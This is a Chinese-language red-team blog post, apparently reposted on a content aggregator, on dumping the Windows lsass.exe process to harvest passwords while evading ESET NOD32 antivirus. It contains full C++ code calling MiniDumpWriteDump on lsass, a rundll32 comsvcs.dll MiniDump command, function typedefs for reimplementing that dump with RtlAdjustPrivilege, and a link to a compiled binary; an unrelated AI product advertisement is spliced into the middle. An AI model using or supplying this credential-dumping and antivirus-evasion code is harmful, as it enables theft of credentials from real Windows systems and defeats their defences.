红队技巧:绕过ESET_NOD32抓取密码

让我们探讨一下如何绕过eset_nod32来抓取密码。这里提到的eset_nod32是指eset_nod32 file security for microsoft windows server。我们的测试版本是试用版,但这并不影响测试效果。

目前,许多dump方法使用的是MiniDumpWriteDump这个API来进行进程内存的dump。以下是一个示例代码:

#include #include #include #include #pragma comment( lib, "Dbghelp.lib" )using namespace std;int main() {  DWORD lsassPID = 0;  HANDLE lsassHandle = NULL;  HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  PROCESSENTRY32 processEntry = {};  processEntry.dwSize = sizeof(PROCESSENTRY32);  LPCWSTR processName = L"";  if (Process32First(snapshot, &processEntry)) {    while (_wcsicmp(processName, L"lsass.exe") != 0) {      Process32Next(snapshot, &processEntry);      processName = processEntry.szExeFile;      lsassPID = processEntry.th32ProcessID;    }    wcout << L"找到lsass.exe,PID为:" << lsassPID << endl;    lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPID);    if (lsassHandle != NULL) {      if (MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL)) {        wcout << L"成功创建dump文件:lsass.dmp" << endl;      } else {        wcout << L"创建dump文件失败,错误码:" << GetLastError() << endl;      }      CloseHandle(lsassHandle);    } else {      wcout << L"无法打开lsass.exe进程,错误码:" << GetLastError() << endl;    }  } else {    wcout << L"无法创建进程快照,错误码:" << GetLastError() << endl;  }  CloseHandle(outFile);  CloseHandle(snapshot);  return 0;}

编译好的版本可以从我的GitHub下载:https://www.php.cn/link/5c51774e43c9db3aa687f23c27956104

然而,ESET_NOD32对这种方法的反应是无情的删除,因为这种API已经被严重拦截。我们需要使用另一种方法来绕过它。首先,我们来看一个白名单文件comsvcs.dll,使用它进行dump的方法如下:

rundll32 C:windowssystem32comsvcs.dll MiniDump "1234 dump.bin full"

这里的1234是lsass的PID进程号,注意这需要管理员权限,而这种行为属于敏感行为。因此,我们需要自己实现comsvcs.dll的MiniDump功能。

提升权限可以使用RtlAdjustPrivilege函数,这个函数在NtDll.dll中封装。MSDN没有专门的文档介绍它,但在微软官方的WRK(Windows研究内核)中可以找到其源代码。函数定义如下:

巧文书 巧文书

巧文书是一款AI写标书、AI写方案的产品。通过自研的先进AI大模型,精准解析招标文件,智能生成投标内容。

巧文书 61 查看详情 巧文书

NTSTATUS RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled)

实现这些函数的示例代码如下:

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled);

通过这种方法,我们成功绕过了ESET_NOD32并dump了进程。

红队技巧:绕过ESET_NOD32抓取密码红队技巧:绕过ESET_NOD32抓取密码红队技巧:绕过ESET_NOD32抓取密码红队技巧:绕过ESET_NOD32抓取密码

以上就是红队技巧:绕过ESET_NOD32抓取密码的详细内容,更多请关注创想鸟其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/330756.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2025年11月5日 13:57:06
下一篇 2025年11月5日 14:01:05

相关推荐

发表回复

登录后才能评论
关注微信